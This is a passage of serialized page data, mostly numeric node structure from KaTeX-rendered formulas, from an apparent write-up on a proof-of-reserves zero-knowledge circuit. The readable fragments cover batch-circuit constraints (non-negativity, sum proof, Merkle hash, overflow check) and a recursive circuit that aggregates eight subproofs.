134,"props":93588,"children":93591},{"className":93589,"style":93590},[1205],"height:0.6444em;",[],{"type":23,"tag":134,"props":93593,"children":93595},{"className":93594},[1211],[93596],{"type":28,"value":1224},{"type":28,"value":5915},{"type":23,"tag":2532,"props":93599,"children":93600},{},[93601],{"type":28,"value":93602},"(non-negativity)",{"type":23,"tag":4894,"props":93604,"children":93605},{},[93606,93944,93945],{"type":23,"tag":92,"props":93607,"children":93609},{"className":93608},[1183,1184],[93610],{"type":23,"tag":134,"props":93611,"children":93613},{"className":93612},[1189],[93614],{"type":23,"tag":134,"props":93615,"children":93617},{"className":93616,"ariaHidden":1195},[1194],[93618,93754],{"type":23,"tag":134,"props":93619,"children":93621},{"className":93620},[1200],[93622,93626,93631,93636,93641,93646,93651,93656,93661,93666,93671,93676,93681,93686,93691,93696,93701,93706,93711,93716,93721,93726,93731,93736,93741,93745,93750],{"type":23,"tag":134,"props":93623,"children":93625},{"className":93624,"style":92501},[1205],[],{"type":23,"tag":134,"props":93627,"children":93629},{"className":93628},[1211,21066],[93630],{"type":28,"value":21208},{"type":23,"tag":134,"props":93632,"children":93634},{"className":93633},[1211,21066],[93635],{"type":28,"value":92529},{"type":23,"tag":134,"props":93637,"children":93639},{"className":93638},[1211,21066],[93640],{"type":28,"value":21208},{"type":23,"tag":134,"props":93642,"children":93644},{"className":93643},[1211,21066],[93645],{"type":28,"value":31},{"type":23,"tag":134,"props":93647,"children":93649},{"className":93648,"style":92571},[1211,21066],[93650],{"type":28,"value":92574},{"type":23,"tag":134,"props":93652,"children":93654},{"className":93653,"style":92559},[1211],[93655],{"type":28,"value":247},{"type":23,"tag":134,"props":93657,"children":93659},{"className":93658},[1211,21066],[93660],{"type":28,"value":31},{"type":23,"tag":134,"props":93662,"children":93664},{"className":93663},[1211,21066],[93665],{"type":28,"value":92550},{"type":23,"tag":134,"props":93667,"children":93669},{"className":93668},[1211,21066],[93670],{"type":28,"value":21208},{"type":23,"tag":134,"props":93672,"children":93674},{"className":93673,"style":92559},[1211],[93675],{"type":28,"value":247},{"type":23,"tag":134,"props":93677,"children":93679},{"className":93678},[1211,21066],[93680],{"type":28,"value":92567},{"type":23,"tag":134,"props":93682,"children":93684},{"className":93683,"style":92571},[1211,21066],[93685],{"type":28,"value":92574},{"type":23,"tag":134,"props":93687,"children":93689},{"className":93688},[1211,21066],[93690],{"type":28,"value":92580},{"type":23,"tag":134,"props":93692,"children":93694},{"className":93693},[1211,21066],[93695],{"type":28,"value":92586},{"type":23,"tag":134,"props":93697,"children":93699},{"className":93698},[21195],[93700],{"type":28,"value":924},{"type":23,"tag":134,"props":93702,"children":93704},{"className":93703},[1211,21066],[93705],{"type":28,"value":31},{"type":23,"tag":134,"props":93707,"children":93709},{"className":93708},[1211,21066],[93710],{"type":28,"value":92550},{"type":23,"tag":134,"props":93712,"children":93714},{"className":93713},[1211,21066],[93715],{"type":28,"value":21208},{"type":23,"tag":134,"props":93717,"children":93719},{"className":93718,"style":92559},[1211],[93720],{"type":28,"value":247},{"type":23,"tag":134,"props":93722,"children":93724},{"className":93723},[1211,21066],[93725],{"type":28,"value":55910},{"type":23,"tag":134,"props":93727,"children":93729},{"className":93728},[1211,21066],[93730],{"type":28,"value":92818},{"type":23,"tag":134,"props":93732,"children":93734},{"className":93733},[1211,21066],[93735],{"type":28,"value":50639},{"type":23,"tag":134,"props":93737,"children":93739},{"className":93738},[21217],[93740],{"type":28,"value":14880},{"type":23,"tag":134,"props":93742,"children":93744},{"className":93743,"style":1390},[1292],[],{"type":23,"tag":134,"props":93746,"children":93748},{"className":93747},[1395],[93749],{"type":28,"value":8035},{"type":23,"tag":134,"props":93751,"children":93753},{"className":93752,"style":1390},[1292],[],{"type":23,"tag":134,"props":93755,"children":93757},{"className":93756},[1200],[93758,93762,93767,93772,93777,93782,93787,93792,93797,93802,93807,93812,93817,93822,93827,93832,93837,93842,93899,93904,93909,93914,93919,93924,93929,93934,93939],{"type":23,"tag":134,"props":93759,"children":93761},{"className":93760,"style":92501},[1205],[],{"type":23,"tag":134,"props":93763,"children":93765},{"className":93764},[1211],[93766],{"type":28,"value":93149},{"type":23,"tag":134,"props":93768,"children":93770},{"className":93769},[1292],[93771],{"type":28,"value":21167},{"type":23,"tag":134,"props":93773,"children":93775},{"className":93774},[1211,21066],[93776],{"type":28,"value":31},{"type":23,"tag":134,"props":93778,"children":93780},{"className":93779},[1211,21066],[93781],{"type":28,"value":93016},{"type":23,"tag":134,"props":93783,"children":93785},{"className":93784},[1211,21066],[93786],{"type":28,"value":92818},{"type":23,"tag":134,"props":93788,"children":93790},{"className":93789},[1211,21066],[93791],{"type":28,"value":55910},{"type":23,"tag":134,"props":93793,"children":93795},{"className":93794},[1211,21066],[93796],{"type":28,"value":21208},{"type":23,"tag":134,"props":93798,"children":93800},{"className":93799,"style":92559},[1211],[93801],{"type":28,"value":247},{"type":23,"tag":134,"props":93803,"children":93805},{"className":93804},[1211,21066],[93806],{"type":28,"value":31},{"type":23,"tag":134,"props":93808,"children":93810},{"className":93809},[1211,21066],[93811],{"type":28,"value":92550},{"type":23,"tag":134,"props":93813,"children":93815},{"className":93814},[1211,21066],[93816],{"type":28,"value":21208},{"type":23,"tag":134,"props":93818,"children":93820},{"className":93819,"style":92559},[1211],[93821],{"type":28,"value":247},{"type":23,"tag":134,"props":93823,"children":93825},{"className":93824},[1211,21066],[93826],{"type":28,"value":92567},{"type":23,"tag":134,"props":93828,"children":93830},{"className":93829,"style":92571},[1211,21066],[93831],{"type":28,"value":92574},{"type":23,"tag":134,"props":93833,"children":93835},{"className":93834},[1211,21066],[93836],{"type":28,"value":92580},{"type":23,"tag":134,"props":93838,"children":93840},{"className":93839},[1211,21066],[93841],{"type":28,"value":92586},{"type":23,"tag":134,"props":93843,"children":93845},{"className":93844},[1211],[93846,93851],{"type":23,"tag":134,"props":93847,"children":93849},{"className":93848},[1211,21066],[93850],{"type":28,"value":10117},{"type":23,"tag":134,"props":93852,"children":93854},{"className":93853},[1228],[93855],{"type":23,"tag":134,"props":93856,"children":93858},{"className":93857},[1233,21120],[93859,93888],{"type":23,"tag":134,"props":93860,"children":93862},{"className":93861},[1238],[93863,93883],{"type":23,"tag":134,"props":93864,"children":93866},{"className":93865,"style":93088},[1243],[93867],{"type":23,"tag":134,"props":93868,"children":93869},{"style":92615},[93870,93874],{"type":23,"tag":134,"props":93871,"children":93873},{"className":93872,"style":1253},[1252],[],{"type":23,"tag":134,"props":93875,"children":93877},{"className":93876},[1258,1259,1260,1261],[93878],{"type":23,"tag":134,"props":93879,"children":93881},{"className":93880},[1211,21066,1261],[93882],{"type":28,"value":929},{"type":23,"tag":134,"props":93884,"children":93886},{"className":93885},[21223],[93887],{"type":28,"value":21226},{"type":23,"tag":134,"props":93889,"children":93891},{"className":93890},[1238],[93892],{"type":23,"tag":134,"props":93893,"children":93895},{"className":93894,"style":92642},[1243],[93896],{"type":23,"tag":134,"props":93897,"children":93898},{},[],{"type":23,"tag":134,"props":93900,"children":93902},{"className":93901},[21195],[93903],{"type":28,"value":924},{"type":23,"tag":134,"props":93905,"children":93907},{"className":93906},[1211,21066],[93908],{"type":28,"value":31},{"type":23,"tag":134,"props":93910,"children":93912},{"className":93911},[1211,21066],[93913],{"type":28,"value":92550},{"type":23,"tag":134,"props":93915,"children":93917},{"className":93916},[1211,21066],[93918],{"type":28,"value":21208},{"type":23,"tag":134,"props":93920,"children":93922},{"className":93921,"style":92559},[1211],[93923],{"type":28,"value":247},{"type":23,"tag":134,"props":93925,"children":93927},{"className":93926},[1211,21066],[93928],{"type":28,"value":55910},{"type":23,"tag":134,"props":93930,"children":93932},{"className":93931},[1211,21066],[93933],{"type":28,"value":92818},{"type":23,"tag":134,"props":93935,"children":93937},{"className":93936},[1211,21066],[93938],{"type":28,"value":50639},{"type":23,"tag":134,"props":93940,"children":93942},{"className":93941},[21217],[93943],{"type":28,"value":14880},{"type":28,"value":5915},{"type":23,"tag":2532,"props":93946,"children":93947},{},[93948],{"type":28,"value":93949},"(sum proof)",{"type":23,"tag":4894,"props":93951,"children":93952},{},[93953,94342,94343],{"type":23,"tag":92,"props":93954,"children":93956},{"className":93955},[1183,1184],[93957],{"type":23,"tag":134,"props":93958,"children":93960},{"className":93959},[1189],[93961],{"type":23,"tag":134,"props":93962,"children":93964},{"className":93963,"ariaHidden":1195},[1194],[93965,94051],{"type":23,"tag":134,"props":93966,"children":93968},{"className":93967},[1200],[93969,93974,93979,93985,93991,93996,94001,94006,94011,94017,94022,94028,94033,94038,94042,94047],{"type":23,"tag":134,"props":93970,"children":93973},{"className":93971,"style":93972},[1205],"height:1.0044em;vertical-align:-0.31em;",[],{"type":23,"tag":134,"props":93975,"children":93977},{"className":93976},[1211,21066],[93978],{"type":28,"value":50639},{"type":23,"tag":134,"props":93980,"children":93982},{"className":93981,"style":92559},[1211,21066],[93983],{"type":28,"value":93984},"er",{"type":23,"tag":134,"props":93986,"children":93989},{"className":93987,"style":93988},[1211,21066],"margin-right:0.03148em;",[93990],{"type":28,"value":88196},{"type":23,"tag":134,"props":93992,"children":93994},{"className":93993,"style":92571},[1211,21066],[93995],{"type":28,"value":92574},{"type":23,"tag":134,"props":93997,"children":93999},{"className":93998},[1211,21066],[94000],{"type":28,"value":50960},{"type":23,"tag":134,"props":94002,"children":94004},{"className":94003,"style":92559},[1211],[94005],{"type":28,"value":247},{"type":23,"tag":134,"props":94007,"children":94009},{"className":94008},[1211,21066],[94010],{"type":28,"value":21208},{"type":23,"tag":134,"props":94012,"children":94014},{"className":94013},[1211,21066],[94015],{"type":28,"value":94016},"ree",{"type":23,"tag":134,"props":94018,"children":94020},{"className":94019,"style":92559},[1211],[94021],{"type":28,"value":247},{"type":23,"tag":134,"props":94023,"children":94025},{"className":94024},[1211,21066],[94026],{"type":28,"value":94027},"ha",{"type":23,"tag":134,"props":94029,"children":94031},{"className":94030},[1211,21066],[94032],{"type":28,"value":10117},{"type":23,"tag":134,"props":94034,"children":94036},{"className":94035},[1211,21066],[94037],{"type":28,"value":83857},{"type":23,"tag":134,"props":94039,"children":94041},{"className":94040,"style":1390},[1292],[],{"type":23,"tag":134,"props":94043,"children":94045},{"className":94044},[1395],[94046],{"type":28,"value":8035},{"type":23,"tag":134,"props":94048,"children":94050},{"className":94049,"style":1390},[1292],[],{"type":23,"tag":134,"props":94052,"children":94054},{"className":94053},[1200],[94055,94059,94064,94069,94074,94079,94084,94089,94094,94099,94104,94161,94166,94170,94175,94180,94237,94242,94247,94251,94256,94261,94265,94270,94275,94337],{"type":23,"tag":134,"props":94056,"children":94058},{"className":94057,"style":1313},[1205],[],{"type":23,"tag":134,"props":94060,"children":94062},{"className":94061,"style":21067},[1211,21066],[94063],{"type":28,"value":21070},{"type":23,"tag":134,"props":94065,"children":94067},{"className":94066},[1211,21066],[94068],{"type":28,"value":92513},{"type":23,"tag":134,"props":94070,"children":94072},{"className":94071},[1211,21066],[94073],{"type":28,"value":929},{"type":23,"tag":134,"props":94075,"children":94077},{"className":94076},[1211,21066],[94078],{"type":28,"value":70074},{"type":23,"tag":134,"props":94080,"children":94082},{"className":94081},[1211,21066],[94083],{"type":28,"value":92529},{"type":23,"tag":134,"props":94085,"children":94087},{"className":94086},[1211,21066],[94088],{"type":28,"value":55910},{"type":23,"tag":134,"props":94090,"children":94092},{"className":94091},[21195],[94093],{"type":28,"value":272},{"type":23,"tag":134,"props":94095,"children":94097},{"className":94096},[1211,21066],[94098],{"type":28,"value":94027},{"type":23,"tag":134,"props":94100,"children":94102},{"className":94101},[1211,21066],[94103],{"type":28,"value":10117},{"type":23,"tag":134,"props":94105,"children":94107},{"className":94106},[1211],[94108,94113],{"type":23,"tag":134,"props":94109,"children":94111},{"className":94110},[1211,21066],[94112],{"type":28,"value":83857},{"type":23,"tag":134,"props":94114,"children":94116},{"className":94115},[1228],[94117],{"type":23,"tag":134,"props":94118,"children":94120},{"className":94119},[1233,21120],[94121,94150],{"type":23,"tag":134,"props":94122,"children":94124},{"className":94123},[1238],[94125,94145],{"type":23,"tag":134,"props":94126,"children":94128},{"className":94127,"style":92611},[1243],[94129],{"type":23,"tag":134,"props":94130,"children":94131},{"style":92615},[94132,94136],{"type":23,"tag":134,"props":94133,"children":94135},{"className":94134,"style":1253},[1252],[],{"type":23,"tag":134,"props":94137,"children":94139},{"className":94138},[1258,1259,1260,1261],[94140],{"type":23,"tag":134,"props":94141,"children":94143},{"className":94142},[1211,1261],[94144],{"type":28,"value":1224},{"type":23,"tag":134,"props":94146,"children":94148},{"className":94147},[21223],[94149],{"type":28,"value":21226},{"type":23,"tag":134,"props":94151,"children":94153},{"className":94152},[1238],[94154],{"type":23,"tag":134,"props":94155,"children":94157},{"className":94156,"style":92642},[1243],[94158],{"type":23,"tag":134,"props":94159,"children":94160},{},[],{"type":23,"tag":134,"props":94162,"children":94164},{"className":94163},[1324],[94165],{"type":28,"value":1327},{"type":23,"tag":134,"props":94167,"children":94169},{"className":94168,"style":1331},[1292],[],{"type":23,"tag":134,"props":94171,"children":94173},{"className":94172},[1211,21066],[94174],{"type":28,"value":94027},{"type":23,"tag":134,"props":94176,"children":94178},{"className":94177},[1211,21066],[94179],{"type":28,"value":10117},{"type":23,"tag":134,"props":94181,"children":94183},{"className":94182},[1211],[94184,94189],{"type":23,"tag":134,"props":94185,"children":94187},{"className":94186},[1211,21066],[94188],{"type":28,"value":83857},{"type":23,"tag":134,"props":94190,"children":94192},{"className":94191},[1228],[94193],{"type":23,"tag":134,"props":94194,"children":94196},{"className":94195},[1233,21120],[94197,94226],{"type":23,"tag":134,"props":94198,"children":94200},{"className":94199},[1238],[94201,94221],{"type":23,"tag":134,"props":94202,"children":94204},{"className":94203,"style":92611},[1243],[94205],{"type":23,"tag":134,"props":94206,"children":94207},{"style":92615},[94208,94212],{"type":23,"tag":134,"props":94209,"children":94211},{"className":94210,"style":1253},[1252],[],{"type":23,"tag":134,"props":94213,"children":94215},{"className":94214},[1258,1259,1260,1261],[94216],{"type":23,"tag":134,"props":94217,"children":94219},{"className":94218},[1211,1261],[94220],{"type":28,"value":1214},{"type":23,"tag":134,"props":94222,"children":94224},{"className":94223},[21223],[94225],{"type":28,"value":21226},{"type":23,"tag":134,"props":94227,"children":94229},{"className":94228},[1238],[94230],{"type":23,"tag":134,"props":94231,"children":94233},{"className":94232,"style":92642},[1243],[94234],{"type":23,"tag":134,"props":94235,"children":94236},{},[],{"type":23,"tag":134,"props":94238,"children":94240},{"className":94239},[1324],[94241],{"type":28,"value":1327},{"type":23,"tag":134,"props":94243,"children":94245},{"className":94244},[1292],[94246],{"type":28,"value":21167},{"type":23,"tag":134,"props":94248,"children":94250},{"className":94249,"style":1331},[1292],[],{"type":23,"tag":134,"props":94252,"children":94254},{"className":94253},[1211],[94255],{"type":28,"value":9054},{"type":23,"tag":134,"props":94257,"children":94259},{"className":94258},[1324],[94260],{"type":28,"value":1327},{"type":23,"tag":134,"props":94262,"children":94264},{"className":94263,"style":1331},[1292],[],{"type":23,"tag":134,"props":94266,"children":94268},{"className":94267},[1211,21066],[94269],{"type":28,"value":94027},{"type":23,"tag":134,"props":94271,"children":94273},{"className":94272},[1211,21066],[94274],{"type":28,"value":10117},{"type":23,"tag":134,"props":94276,"children":94278},{"className":94277},[1211],[94279,94284],{"type":23,"tag":134,"props":94280,"children":94282},{"className":94281},[1211,21066],[94283],{"type":28,"value":83857},{"type":23,"tag":134,"props":94285,"children":94287},{"className":94286},[1228],[94288],{"type":23,"tag":134,"props":94289,"children":94291},{"className":94290},[1233,21120],[94292,94326],{"type":23,"tag":134,"props":94293,"children":94295},{"className":94294},[1238],[94296,94321],{"type":23,"tag":134,"props":94297,"children":94299},{"className":94298,"style":92611},[1243],[94300],{"type":23,"tag":134,"props":94301,"children":94302},{"style":92615},[94303,94307],{"type":23,"tag":134,"props":94304,"children":94306},{"className":94305,"style":1253},[1252],[],{"type":23,"tag":134,"props":94308,"children":94310},{"className":94309},[1258,1259,1260,1261],[94311],{"type":23,"tag":134,"props":94312,"children":94314},{"className":94313},[1211,1261],[94315],{"type":23,"tag":134,"props":94316,"children":94318},{"className":94317},[1211,1261],[94319],{"type":28,"value":94320},"511",{"type":23,"tag":134,"props":94322,"children":94324},{"className":94323},[21223],[94325],{"type":28,"value":21226},{"type":23,"tag":134,"props":94327,"children":94329},{"className":94328},[1238],[94330],{"type":23,"tag":134,"props":94331,"children":94333},{"className":94332,"style":92642},[1243],[94334],{"type":23,"tag":134,"props":94335,"children":94336},{},[],{"type":23,"tag":134,"props":94338,"children":94340},{"className":94339},[21217],[94341],{"type":28,"value":296},{"type":28,"value":5915},{"type":23,"tag":2532,"props":94344,"children":94345},{},[94346],{"type":28,"value":94347},"(merkle tree hash)",{"type":23,"tag":4894,"props":94349,"children":94350},{},[94351,94626,94627,94632,94634,94639],{"type":23,"tag":92,"props":94352,"children":94354},{"className":94353},[1183,1184],[94355],{"type":23,"tag":134,"props":94356,"children":94358},{"className":94357},[1189],[94359],{"type":23,"tag":134,"props":94360,"children":94362},{"className":94361,"ariaHidden":1195},[1194],[94363,94556],{"type":23,"tag":134,"props":94364,"children":94366},{"className":94365},[1200],[94367,94371,94376,94381,94386,94391,94396,94401,94406,94411,94416,94421,94426,94431,94436,94441,94498,94503,94508,94513,94518,94523,94528,94533,94538,94543,94547,94552],{"type":23,"tag":134,"props":94368,"children":94370},{"className":94369,"style":92501},[1205],[],{"type":23,"tag":134,"props":94372,"children":94374},{"className":94373},[1211,21066],[94375],{"type":28,"value":31},{"type":23,"tag":134,"props":94377,"children":94379},{"className":94378},[1211,21066],[94380],{"type":28,"value":93016},{"type":23,"tag":134,"props":94382,"children":94384},{"className":94383},[1211,21066],[94385],{"type":28,"value":92818},{"type":23,"tag":134,"props":94387,"children":94389},{"className":94388},[1211,21066],[94390],{"type":28,"value":55910},{"type":23,"tag":134,"props":94392,"children":94394},{"className":94393},[1211,21066],[94395],{"type":28,"value":21208},{"type":23,"tag":134,"props":94397,"children":94399},{"className":94398,"style":92559},[1211],[94400],{"type":28,"value":247},{"type":23,"tag":134,"props":94402,"children":94404},{"className":94403},[1211,21066],[94405],{"type":28,"value":31},{"type":23,"tag":134,"props":94407,"children":94409},{"className":94408},[1211,21066],[94410],{"type":28,"value":92550},{"type":23,"tag":134,"props":94412,"children":94414},{"className":94413},[1211,21066],[94415],{"type":28,"value":21208},{"type":23,"tag":134,"props":94417,"children":94419},{"className":94418,"style":92559},[1211],[94420],{"type":28,"value":247},{"type":23,"tag":134,"props":94422,"children":94424},{"className":94423},[1211,21066],[94425],{"type":28,"value":92567},{"type":23,"tag":134,"props":94427,"children":94429},{"className":94428,"style":92571},[1211,21066],[94430],{"type":28,"value":92574},{"type":23,"tag":134,"props":94432,"children":94434},{"className":94433},[1211,21066],[94435],{"type":28,"value":92580},{"type":23,"tag":134,"props":94437,"children":94439},{"className":94438},[1211,21066],[94440],{"type":28,"value":92586},{"type":23,"tag":134,"props":94442,"children":94444},{"className":94443},[1211],[94445,94450],{"type":23,"tag":134,"props":94446,"children":94448},{"className":94447},[1211,21066],[94449],{"type":28,"value":10117},{"type":23,"tag":134,"props":94451,"children":94453},{"className":94452},[1228],[94454],{"type":23,"tag":134,"props":94455,"children":94457},{"className":94456},[1233,21120],[94458,94487],{"type":23,"tag":134,"props":94459,"children":94461},{"className":94460},[1238],[94462,94482],{"type":23,"tag":134,"props":94463,"children":94465},{"className":94464,"style":93088},[1243],[94466],{"type":23,"tag":134,"props":94467,"children":94468},{"style":92615},[94469,94473],{"type":23,"tag":134,"props":94470,"children":94472},{"className":94471,"style":1253},[1252],[],{"type":23,"tag":134,"props":94474,"children":94476},{"className":94475},[1258,1259,1260,1261],[94477],{"type":23,"tag":134,"props":94478,"children":94480},{"className":94479},[1211,21066,1261],[94481],{"type":28,"value":929},{"type":23,"tag":134,"props":94483,"children":94485},{"className":94484},[21223],[94486],{"type":28,"value":21226},{"type":23,"tag":134,"props":94488,"children":94490},{"className":94489},[1238],[94491],{"type":23,"tag":134,"props":94492,"children":94494},{"className":94493,"style":92642},[1243],[94495],{"type":23,"tag":134,"props":94496,"children":94497},{},[],{"type":23,"tag":134,"props":94499,"children":94501},{"className":94500},[21195],[94502],{"type":28,"value":924},{"type":23,"tag":134,"props":94504,"children":94506},{"className":94505},[1211,21066],[94507],{"type":28,"value":31},{"type":23,"tag":134,"props":94509,"children":94511},{"className":94510},[1211,21066],[94512],{"type":28,"value":92550},{"type":23,"tag":134,"props":94514,"children":94516},{"className":94515},[1211,21066],[94517],{"type":28,"value":21208},{"type":23,"tag":134,"props":94519,"children":94521},{"className":94520,"style":92559},[1211],[94522],{"type":28,"value":247},{"type":23,"tag":134,"props":94524,"children":94526},{"className":94525},[1211,21066],[94527],{"type":28,"value":55910},{"type":23,"tag":134,"props":94529,"children":94531},{"className":94530},[1211,21066],[94532],{"type":28,"value":92818},{"type":23,"tag":134,"props":94534,"children":94536},{"className":94535},[1211,21066],[94537],{"type":28,"value":50639},{"type":23,"tag":134,"props":94539,"children":94541},{"className":94540},[21217],[94542],{"type":28,"value":14880},{"type":23,"tag":134,"props":94544,"children":94546},{"className":94545,"style":1390},[1292],[],{"type":23,"tag":134,"props":94548,"children":94550},{"className":94549},[1395],[94551],{"type":28,"value":5262},{"type":23,"tag":134,"props":94553,"children":94555},{"className":94554,"style":1390},[1292],[],{"type":23,"tag":134,"props":94557,"children":94559},{"className":94558},[1200],[94560,94564,94571,94576,94582,94587,94592,94597,94603,94608,94614,94620],{"type":23,"tag":134,"props":94561,"children":94563},{"className":94562,"style":92501},[1205],[],{"type":23,"tag":134,"props":94565,"children":94568},{"className":94566,"style":94567},[1211,21066],"margin-right:0.10903em;",[94569],{"type":28,"value":94570},"M",{"type":23,"tag":134,"props":94572,"children":94574},{"className":94573},[1211,21066],[94575],{"type":28,"value":76279},{"type":23,"tag":134,"props":94577,"children":94580},{"className":94578,"style":94579},[1211,21066],"margin-right:0.07847em;",[94581],{"type":28,"value":5590},{"type":23,"tag":134,"props":94583,"children":94585},{"className":94584,"style":92559},[1211],[94586],{"type":28,"value":247},{"type":23,"tag":134,"props":94588,"children":94590},{"className":94589,"style":21525},[1211,21066],[94591],{"type":28,"value":21528},{"type":23,"tag":134,"props":94593,"children":94595},{"className":94594},[1211,21066],[94596],{"type":28,"value":76279},{"type":23,"tag":134,"props":94598,"children":94600},{"className":94599,"style":21525},[1211,21066],[94601],{"type":28,"value":94602},"FE",{"type":23,"tag":134,"props":94604,"children":94606},{"className":94605,"style":92559},[1211],[94607],{"type":28,"value":247},{"type":23,"tag":134,"props":94609,"children":94611},{"className":94610,"style":94579},[1211,21066],[94612],{"type":28,"value":94613},"I",{"type":23,"tag":134,"props":94615,"children":94617},{"className":94616,"style":21067},[1211,21066],[94618],{"type":28,"value":94619},"NT",{"type":23,"tag":134,"props":94621,"children":94623},{"className":94622},[1211],[94624],{"type":28,"value":94625},"/512",{"type":28,"value":5915},{"type":23,"tag":2532,"props":94628,"children":94629},{},[94630],{"type":28,"value":94631},"(overflow check)",{"type":28,"value":94633}," --> overflow check is made this way for performance (note that 512 is actually the ",{"type":23,"tag":92,"props":94635,"children":94637},{"className":94636},[],[94638],{"type":28,"value":92417},{"type":28,"value":296},{"type":23,"tag":24,"props":94641,"children":94642},{},[94643],{"type":28,"value":94644},"Here is a visual scheme of the inputs of the batch circuit + how user hashes are generated:",{"type":23,"tag":24,"props":94646,"children":94647},{},[94648],{"type":23,"tag":1116,"props":94649,"children":94651},{"alt":50084,"src":94650},"/posts/por/batch-circuit-inputs.png",[],{"type":23,"tag":9072,"props":94653,"children":94655},{"id":94654},"recursive-circuit",[94656],{"type":28,"value":94657},"Recursive Circuit",{"type":23,"tag":24,"props":94659,"children":94660},{},[94661],{"type":28,"value":94662},"Recursive circuits get eight subproofs as input, verify if all the asset prices are the same, and calculate the summed balances and Merkle hash. Here are the constraints.",{"type":23,"tag":24,"props":94664,"children":94665},{},[94666],{"type":23,"tag":2532,"props":94667,"children":94668},{},[94669],{"type":28,"value":92931},{"type":23,"tag":16158,"props":94671,"children":94672},{},[94673,94677,94682],{"type":23,"tag":4894,"props":94674,"children":94675},{},[94676],{"type":28,"value":92949},{"type":23,"tag":4894,"props":94678,"children":94679},{},[94680],{"type":28,"value":94681},"Asset prices",{"type":23,"tag":4894,"props":94683,"children":94684},{},[94685],{"type":28,"value":92944},{"type":23,"tag":24,"props":94687,"children":94688},{},[94689],{"type":23,"tag":2532,"props":94690,"children":94691},{},[94692],{"type":28,"value":92957},{"type":23,"tag":16158,"props":94694,"children":94695},{},[94696],{"type":23,"tag":4894,"props":94697,"children":94698},{},[94699],{"type":28,"value":94700},"8 subproofs",{"type":23,"tag":24,"props":94702,"children":94703},{},[94704],{"type":23,"tag":2532,"props":94705,"children":94706},{},[94707],{"type":28,"value":92978},{"type":23,"tag":16158,"props":94709,"children":94710},{},[94711,95121,95452,95819,96206],{"type":23,"tag":4894,"props":94712,"children":94713},{},[94714,95116,95117],{"type":23,"tag":92,"props":94715,"children":94717},{"className":94716},[1183,1184],[94718],{"type":23,"tag":134,"props":94719,"children":94721},{"className":94720},[1189],[94722],{"type":23,"tag":134,"props":94723,"children":94725},{"className":94724,"ariaHidden":1195},[1194],[94726,94862],{"type":23,"tag":134,"props":94727,"children":94729},{"className":94728},[1200],[94730,94734,94739,94744,94749,94754,94759,94764,94769,94774,94779,94784,94789,94794,94799,94804,94809,94814,94819,94824,94829,94834,94839,94844,94849,94853,94858],{"type":23,"tag":134,"props":94731,"children":94733},{"className":94732,"style":92501},[1205],[],{"type":23,"tag":134,"props":94735,"children":94737},{"className":94736},[1211,21066],[94738],{"type":28,"value":21208},{"type":23,"tag":134,"props":94740,"children":94742},{"className":94741},[1211,21066],[94743],{"type":28,"value":92529},{"type":23,"tag":134,"props":94745,"children":94747},{"className":94746},[1211,21066],[94748],{"type":28,"value":21208},{"type":23,"tag":134,"props":94750,"children":94752},{"className":94751},[1211,21066],[94753],{"type":28,"value":31},{"type":23,"tag":134,"props":94755,"children":94757},{"className":94756,"style":92571},[1211,21066],[94758],{"type":28,"value":92574},{"type":23,"tag":134,"props":94760,"children":94762},{"className":94761,"style":92559},[1211],[94763],{"type":28,"value":247},{"type":23,"tag":134,"props":94765,"children":94767},{"className":94766},[1211,21066],[94768],{"type":28,"value":31},{"type":23,"tag":134,"props":94770,"children":94772},{"className":94771},[1211,21066],[94773],{"type":28,"value":92550},{"type":23,"tag":134,"props":94775,"children":94777},{"className":94776},[1211,21066],[94778],{"type":28,"value":21208},{"type":23,"tag":134,"props":94780,"children":94782},{"className":94781,"style":92559},[1211],[94783],{"type":28,"value":247},{"type":23,"tag":134,"props":94785,"children":94787},{"className":94786},[1211,21066],[94788],{"type":28,"value":92567},{"type":23,"tag":134,"props":94790,"children":94792},{"className":94791,"style":92571},[1211,21066],[94793],{"type":28,"value":92574},{"type":23,"tag":134,"props":94795,"children":94797},{"className":94796},[1211,21066],[94798],{"type":28,"value":92580},{"type":23,"tag":134,"props":94800,"children":94802},{"className":94801},[1211,21066],[94803],{"type":28,"value":92586},{"type":23,"tag":134,"props":94805,"children":94807},{"className":94806},[21195],[94808],{"type":28,"value":924},{"type":23,"tag":134,"props":94810,"children":94812},{"className":94811},[1211,21066],[94813],{"type":28,"value":31},{"type":23,"tag":134,"props":94815,"children":94817},{"className":94816},[1211,21066],[94818],{"type":28,"value":92550},{"type":23,"tag":134,"props":94820,"children":94822},{"className":94821},[1211,21066],[94823],{"type":28,"value":21208},{"type":23,"tag":134,"props":94825,"children":94827},{"className":94826,"style":92559},[1211],[94828],{"type":28,"value":247},{"type":23,"tag":134,"props":94830,"children":94832},{"className":94831},[1211,21066],[94833],{"type":28,"value":55910},{"type":23,"tag":134,"props":94835,"children":94837},{"className":94836},[1211,21066],[94838],{"type":28,"value":92818},{"type":23,"tag":134,"props":94840,"children":94842},{"className":94841},[1211,21066],[94843],{"type":28,"value":50639},{"type":23,"tag":134,"props":94845,"children":94847},{"className":94846},[21217],[94848],{"type":28,"value":14880},{"type":23,"tag":134,"props":94850,"children":94852},{"className":94851,"style":1390},[1292],[],{"type":23,"tag":134,"props":94854,"children":94856},{"className":94855},[1395],[94857],{"type":28,"value":8035},{"type":23,"tag":134,"props":94859,"children":94861},{"className":94860,"style":1390},[1292],[],{"type":23,"tag":134,"props":94863,"children":94865},{"className":94864},[1200],[94866,94870,94875,94880,94885,94890,94895,94900,94906,94965,94970,94975,94980,94985,94990,94995,95000,95005,95011,95016,95021,95026,95031,95036,95041,95046,95051,95056,95061,95066,95071,95076,95081,95086,95091,95096,95101,95106,95111],{"type":23,"tag":134,"props":94867,"children":94869},{"className":94868,"style":92501},[1205],[],{"type":23,"tag":134,"props":94871,"children":94873},{"className":94872},[1211],[94874],{"type":28,"value":93149},{"type":23,"tag":134,"props":94876,"children":94878},{"className":94877},[1292],[94879],{"type":28,"value":21167},{"type":23,"tag":134,"props":94881,"children":94883},{"className":94882},[1211,21066],[94884],{"type":28,"value":10117},{"type":23,"tag":134,"props":94886,"children":94888},{"className":94887},[1211,21066],[94889],{"type":28,"value":92818},{"type":23,"tag":134,"props":94891,"children":94893},{"className":94892},[1211,21066],[94894],{"type":28,"value":393},{"type":23,"tag":134,"props":94896,"children":94898},{"className":94897},[1211,21066],[94899],{"type":28,"value":24},{"type":23,"tag":134,"props":94901,"children":94903},{"className":94902},[1211,21066],[94904],{"type":28,"value":94905},"roo",{"type":23,"tag":134,"props":94907,"children":94909},{"className":94908},[1211],[94910,94916],{"type":23,"tag":134,"props":94911,"children":94914},{"className":94912,"style":94913},[1211,21066],"margin-right:0.10764em;",[94915],{"type":28,"value":32581},{"type